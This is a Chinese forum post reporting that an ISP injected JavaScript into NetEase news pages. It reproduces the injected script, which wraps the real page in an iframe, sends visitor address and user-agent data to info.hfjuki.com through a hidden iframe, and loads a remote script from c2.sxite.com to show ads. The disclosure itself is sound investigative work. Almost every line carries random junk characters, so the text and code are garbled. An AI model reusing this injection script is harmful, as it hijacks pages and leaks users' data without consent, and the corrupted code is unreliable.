|
|
本帖最后由 hudba 于 2015-2-3 00:56 编辑 6 j8 _ O5 a1 A" ~/ i6 o
3 E$ G" o* u' G$ P j/ m上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了% ~+ W! w) Q5 e$ F4 H, n4 Y
$ Z0 g5 ?1 s2 i$ p+ ? y2 n2 p( d' M接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}/ R1 g( L* y3 f& @6 _3 d) i
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197 5 m- [4 _- @* ]
& x& g |) p4 o8 W( c* k+ u顺便查下ip138:
/ ~! b1 `, o: ^ |- `
. o5 |- E4 s% O0 g+ E5 {& K这是那段js里面的代码,好象是个半成品还没写入广告数据:8 f& i; ~8 M2 Y; t7 ]( H4 R
- function locationSearch() {3 {( r$ ]) ?: z$ |( H6 b5 C
- var s = getMainJs();# o9 _1 v) ] f
- if (s == null) {5 a' f: J/ c: q$ R u$ `
- location.reload();4 s$ p1 y- G! [( b5 g
- }
5 p8 }8 v( v' k - return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
8 |6 H! ?% D* n$ Q" ~- r - }) R& m$ ^$ h2 Y) P. F
% l( x2 n% u+ G5 m) {4 b- function getParameter(name, paraStr) {
& n: E Z1 ?# H9 w - var result = "";
# z6 h i( `6 z3 q - var str = "&" + paraStr.split("?")[1];: d$ k0 O5 v6 C/ H2 Z. d/ N: I
- var paraName = "&" + name + "=";
9 U( i# i- W/ P/ r - if (str.indexOf(paraName) != -1) {0 V7 `1 Y0 N, j" L
- if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {) j3 r5 c! [3 Q+ I3 T9 |
- var TmpStr = str.substring(str.indexOf(paraName), str.length);5 Z) `5 c, m' ]2 W* Y" W
- result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
6 P1 X3 b1 {8 c# } - 1, TmpStr.length).indexOf("&")
) \4 b: g7 m7 G1 } - - TmpStr.indexOf(paraName) + 1);
/ S% E1 T' r8 H! V9 m - } else {
# |2 O* n3 u& ? ^# C - result = str.substring(str.indexOf(paraName), str.length);" d* x& Z+ G2 I+ f. d
- }; b' t9 |# Y8 u0 a5 r: y7 ~
8 J# n- T, d2 G5 w( V& b8 i- result = result.substring(result.indexOf("=") + 1, result.length);
, j) x7 @2 }& T( X% k - } else {+ }8 P+ X/ ^5 V; N0 \% J
- result = "No such parameter";& Y0 a& l8 c. Z
- }& ?3 ` K6 ^+ d
- return (result.replace("&", ""));
% S8 y5 r; G" T3 R! a* a - }; A2 z. J& T7 K$ Z1 Z! y
, q+ f' A' g! Y; `- \- |" F8 N( J- function getMainJs() {; v, Z3 K% c- d8 U& P' }
- var scripts = document.getElementsByTagName("script");" N' K' B, h* F* O8 a
- var s = null;
' s+ a0 f. z9 X8 c - for (var i = 0; i < scripts.length; i++) {% g7 Y8 y+ b$ Q
- if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {0 A: i# [( }7 Y8 |
- s = scripts[i];
: z( J: ^" p% i% h, Y# T7 B& O - break;3 ], b$ z, G3 `5 _" _4 b
- }2 k2 u4 I" x. a- P& Z3 l: K
- }1 O/ \/ @2 n6 ]; ^
- return s;4 [5 C! a- F- J: q) Z. d* I
- }
' Q: A5 Q. s* i# q- U# n6 b2 S. P8 F' T
$ m3 k, a6 y6 |. t, b7 z- function appendParam(oStr, aStr) {
) k$ E* m& z6 m$ y# S1 Y) C3 m* V - if (oStr.indexOf('?') > 0) {
# U# _( v% |# E" M! [) \# y - oStr = oStr + "&" + aStr;5 \. o4 b" D; }9 D
- } else {
, g: D. C6 y, j) \ - oStr = oStr + "?" + aStr;$ V1 e, }' z5 X# f) i# X
- }
) u) c: G6 P& B - return oStr;
8 f! C9 ~# N; I& t7 ?- ^ - }
- o% v( R; L( b' }
1 k- Z" f/ r$ o" I" V- window.onerror = function() {
" s5 K0 W! n# d, F- D - };
, r7 k7 @9 N5 E. m3 v
; U0 w0 t T* Y* Z5 x g3 G$ I- var g_titleTime = 0;
5 p( X' B \6 ?+ e1 R - function setTcTitle() {! z5 l6 E( }* ~0 o( G+ m
- if (undefined == document) {3 Y! [0 U K" u+ p' ~4 `
- g_titleTime++;4 _3 u' Z! u2 @
- setTimeout("setTcTitle();", 1000);5 ^& `/ G) Q" w- ^. [0 L( j4 S
- return;% x# i+ ~) H, L/ Y9 X, h4 T5 F
- }$ P( r. b# L' Z/ B4 E; }: r
- 4 A2 t$ a' {, Q. u& o6 c" S* U2 h( J
- var doc;* _+ I0 s9 W% y- }
- try {, x! v: e3 X* r, k
- if (document.all) {9 R$ f- P, g! s! n- Y( S% x7 I
- doc = document.frames["cn"].document;
5 K# P# D2 L' a) t) f - } else { q4 ?4 }5 }" y' x5 G2 |! N6 {
- doc = document.getElementById("cn").contentDocument;
4 q% X- F4 n3 V! u6 J m7 C - }
5 u1 r2 F# f: v - } catch (ex) {
6 n4 T' K' ?3 b. j( t - }
, M& S4 ~+ O/ k9 j
0 _1 U8 e! y2 f$ C3 a* e8 J- if (g_titleTime < 52 L5 q7 @0 o/ [9 f2 f' j: W" z
- && (undefined == doc || undefined == doc.title || "" == doc.title)) {5 _1 o9 ?1 r( l1 @0 O+ m2 c; l/ m2 Z
- g_titleTime++;
2 b, p7 `: X. G3 J - setTimeout("setTcTitle();", 1000);
6 e# i! X9 M" A* j$ i - return;0 ~- v8 b- @1 }/ b0 I _
- } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
, b/ `& g: d3 M9 _7 | e - document.title = doc.title;
2 l( e1 B% @. T/ ?3 U8 j( N - setTcAdvVisible();
1 T6 }+ q. P% E - }" _5 A3 x) U" i y
- }
8 C% G) F- ^% ?! k - ) t* C7 a$ B0 @" |7 h; m U
- setTimeout("setTcTitle();", 1000);
+ ?0 Q+ U3 \( e0 ?' z: M# Z
}/ U5 E3 S, _) V/ g- var g_isHaveVisible = false;
; U4 ~; ?! G: N! I - function setTcAdvVisible() {
: N# r# x5 f0 Y2 T1 O( z2 I' R. { - if (undefined != document && undefined != document.getElementById("addiv")
/ O- r' ^: E3 h8 r9 E/ {7 x1 z0 o - && !g_isHaveVisible) {& t9 A( s$ e) |
- document.getElementById("addiv").style.visibility = 'visible';
0 f% ^0 B9 F8 s/ A - document.getElementById("addiv").style.display = 'block';- b r4 O: I9 u d0 I% p
- g_isHaveVisible = true;
' |$ {$ x% p% c A6 w- p# Z - }% t6 Q& U" i" p1 v8 Q6 L0 q1 J0 h
- }$ p, Q) L' }( N/ w' B3 f9 e, [
- & v, {6 F9 Y7 @- G
- function UrlAnalyzer() {
& x5 o& P+ h( }; ^ I; Q4 L - this.divda = "";
3 d: h% R" f5 q6 C+ H - this.tctype = "";
. v0 U# {8 q% W- I0 q3 T a - this.radius = "";
8 q5 d' T! a1 ]0 f0 A! a8 m( I - this.rlu = "";
+ Q4 D% f( J5 }& d6 X - }
/ i V4 Y) w- n
. E W, o: J1 q+ z- UrlAnalyzer.prototype.initParameters = function() {
- G7 ?5 E7 R( c; D1 G$ V+ F - var paraStr = locationSearch();
, b6 h7 |5 D" o - this.rlu = getParameter("lruedct", paraStr);) k. Z0 d0 M( l: N# e: K8 C: E% y1 q
- this.divda = getParameter("divda", paraStr);
q2 D. Z0 r& m$ H - this.radius = getParameter("radius", paraStr);" y& t* X3 W6 T0 p% |4 Z4 Y
- this.tctype = getParameter("tctype", paraStr);
+ y7 m4 \5 e8 m( X! i3 m" P+ i - this.address = getParameter("address", paraStr);% e, Y: C7 ]# x: \. |
- this.usagent = getParameter("usagent", paraStr);
5 [* _6 N5 C, R$ x ~7 m - }3 S8 V! [4 h) ^5 z6 f
. j p( u ~3 L# y7 W" S& X- UrlAnalyzer.prototype.getHtmlDoc = function() {
* h T! H5 q1 X; l* E, G- ?/ ] - var doc;
0 e2 I; Z c- h* I - try {
& Q0 i) V, P+ m5 ?6 n6 U3 m! } - if (document.all) {
" U9 d* F1 d' F. Y - doc = document.frames["cn"].document;4 x+ w! z$ f: Z( {
7 A2 p/ p9 ^" W4 g) {$ t- } else {
5 W8 o, A1 G" U: K) K - doc = document.getElementById("cn").contentDocument;
# P: T( M4 @& N* u- p: h - // doc = document.getElementById("cn").contentWindow.document;
& L7 D; _$ ?( A - }7 L& V; z5 H7 ]! ~
- } catch (ex) {
& q+ _& I# j0 K: f2 [3 X( g L7 | - }$ Z8 l3 e- H2 o& u9 l' C* g2 |
- return doc;
* k1 e0 ~) R0 }* V - }. O, E7 u- s% j Z. p% Z$ x( X% B2 f
- ! v" w& {3 _) A) `0 B9 N3 T, f
- UrlAnalyzer.prototype.setDomain = function() {
5 v3 L: s9 f* \* Q - if (undefined != document.title && "" == document.title)
$ {/ G) l2 t' O8 |& {- o- g - {# Z! w0 c! @, q+ i
- var index = document.domain.indexOf(".");$ I2 T7 |5 M& A: j
- if (undefined != index && -1 != index) {- h' m3 ?. Z9 |
- document.domain = document.domain.substring(index + 1,
6 [* }$ y( l. C- J; t- P- A9 u - document.domain.length);
) }; Q& a) ^/ z4 [ - }
% M+ t0 \* z7 q$ [- ^. t -
8 e# V1 s! P! Z% A0 L% d/ j" ` - var doc = this.getHtmlDoc();
3 ?+ \' C0 j( I" E% l5 l% X5 L - if (undefined != doc && undefined != doc.title && "" != doc.title) {
. Y/ e' v+ `- l) O Y - document.title = doc.title;
6 g1 j6 R l" j% C5 Q - setTcAdvVisible();% b& ^2 V0 K0 U
- }
1 t7 j, Z6 e. G# }! V6 V - }
' P- H- {# i0 x6 i4 @, d( L - }8 a: C" `: ^( N8 G) u5 o+ ~
% B& g6 e9 L& X/ k2 n- UrlAnalyzer.prototype.iframeCallback = function() {' _: G1 q2 m% O6 Y& F
- var doc = this.getHtmlDoc();( m' z1 h F. K/ Q# {* H0 h
- if (undefined == doc || undefined == doc.title || "" == doc.title) {! R% @0 P& t( _8 _1 W
- if (undefined != document.domain) {
0 k+ ?5 M* p5 }9 k- Z- j
( a2 V5 @: \/ y3 X% l0 {3 P+ G2 ~$ a- E- var self = this;1 Q; ?/ [1 K& U4 m
- setTimeout(function(){self.setDomain.call(self, null)}, 1000);* S7 f9 Z2 m& Z. Y
- // var index = document.domain.indexOf(".");
; W5 R |6 m. X' I# U/ B - // if (undefined != index && -1 != index) {/ G2 l+ L z& n4 t
- // document.domain = document.domain.substring(index + 1,& \: _9 j7 c s$ h1 ~% `4 G0 m% n, m
- // document.domain.length);& _2 C4 Y& G7 ^& v: C1 O; \
- // }
4 Q# [' Y) J3 x6 U - //
2 c' O/ C- n6 m& O: ]* v - // var doc = this.getHtmlDoc();
% k$ g; r( f o5 m8 R3 ~) U - // if (undefined != doc && undefined != doc.title && "" !=# e5 ~; H! \/ @' q4 ~$ ^+ S5 e* K
- // doc.title) {
% Y0 L0 m9 Q; t0 t& h - // document.title = doc.title;
4 x2 G ], _4 j) P4 |; Y* R - // setTcAdvVisible();
/ |/ n( g( p+ K3 y* {) s - // }4 S( `: m: L) y. [. u2 o
- }; f( G. u% L9 `- n0 J
- } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
5 ~) Z# @% T( d$ D# \" |$ ^: C: S - document.title = doc.title;7 j$ K: j+ H* n( j9 G
- setTcAdvVisible(); V$ m5 H/ l# J' V! E9 K" f
- }
, J+ r3 b! ?& } - }4 E [; @' M7 D9 k8 u8 c! C, M! Q
9 ] [3 Q6 S" [2 ]& q, k- UrlAnalyzer.prototype.executeHtmlContext = function() {
+ t1 i/ L( m: V' V) ~ - var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
' F3 @: i# R) N - + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;
$ B/ r9 c0 ` Y H
3 Z' ^: y& I) `. j* U" T- var htmlStr = "<iframe src="" + staUrl. _- i( A; m; l* @$ J# [7 ?5 \8 r+ p0 Y
- + "" style="display:none"></iframe>";
l! l7 @8 L1 A, u1 o
- F. ~9 w. I6 h4 |0 A! H- var advUrl = htmlStr/ r5 g1 B$ J# J4 S0 F
- + "<script src="http://c2.sxite.com:8060/center?advId="- _1 h0 B& [0 R( J' J8 L# h+ V
- + this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";6 i* a# g4 w. L/ e* s& A7 I+ s
- document.write(advUrl);
: g \2 a8 W4 C9 ^4 k, k& m
. i3 _+ `( Z0 W( v, A- var self = this;- Y% R; Y. M! J8 }; E5 m
- var iframe = document.getElementById("cn"); l2 K& _0 N) p0 c8 |
- if (iframe.attachEvent) {3 ]/ r% A- j) ^4 W9 W
- iframe.attachEvent("onload", function() {* P. A! Y8 t% _) M( T
- self.iframeCallback.call(self, null);' c4 T. t5 G- G t7 v
- });9 n1 m/ n% g/ L* }1 t
- } else {( F: g% X1 r6 h6 j, P3 B* v* x( m2 N! F
- iframe.onload = function() {
* g/ Y# q! } r& `% y \0 ^& g% b1 y - self.iframeCallback.call(self, null);
; k a o B. l; u ^8 L6 `. _# B - }9 [' x8 l1 M) y$ x# l
- }3 N5 _3 Z; ?9 G2 N. M x/ S4 Y
- }* ?6 i9 n8 E9 S' f6 p2 P4 | I
- . F. t3 h' T6 q
- UrlAnalyzer.prototype.executeMain = function() {
# D" g. D3 v/ D7 R9 H: ^ b - var mainFrame = document.getElementById("cn");
- Z4 M) x9 G: _! u8 B# |9 T - mainFrame.contentWindow.location.href = mainFrame.src; B" x- R/ W2 H& V
- this.initParameters();/ z1 n0 `% y6 m' [& S, y x
- this.executeHtmlContext();2 ^* E+ @& i3 L
- }
# N# Z. J, \' R) u
# G0 ~" L( t: ?# f. f- var g_analyzer = new UrlAnalyzer();6 Z) m) l+ _9 a+ a1 T, D
- g_analyzer.executeMain();
4 f* Z8 w: J0 l. a" F, W
复制代码 W! G. ~$ r3 b L( K9 j
4 c2 l G2 I* T. t; k4 V
% v( [) b3 P! U8 Z |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|